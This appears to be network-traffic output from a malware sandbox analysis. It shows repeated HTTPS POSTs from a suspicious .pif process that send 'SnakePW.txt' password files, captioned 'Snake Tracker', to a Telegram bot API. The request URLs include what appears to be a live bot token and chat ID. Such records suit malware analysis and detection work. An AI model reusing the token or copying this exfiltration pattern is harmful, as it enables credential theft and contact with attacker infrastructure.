2024-11-26 07:25:36 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 65 38 36 62 32 63 30 63 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0de86b2c0ccfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:37 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:37 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388870,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605937,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49817	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:37 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e1651b783f6 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:37 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 31 36 35 31 62 37 38 33 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e1651b783f6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:38 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:38 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388872,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605938,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49818	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:38 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e8c046fa382 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:38 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 38 63 30 34 36 66 61 33 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e8c046fa382Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:38 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:38 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388874,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605938,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49821	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:38 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e000d88a51d Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:38 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 30 30 30 64 38 38 61 35 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e000d88a51dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:39 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:39 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388876,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605939,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49823	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:39 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e2c5dc4481c Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:39 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 32 63 35 64 63 34 34 38 31 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e2c5dc4481cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:40 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:40 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388878,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605940,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49825	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:40 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ea1aff451e4 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:40 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 61 31 61 66 66 34 35 31 65 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ea1aff451e4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:40 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:40 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388880,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605940,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49828	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:40 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e18ff2f9f9e Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:40 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 31 38 66 66 32 66 39 66 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e18ff2f9f9eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:41 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:41 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388882,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605941,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49831	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:41 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e3f97e51cd2 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:41 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 33 66 39 37 65 35 31 63 64 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e3f97e51cd2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
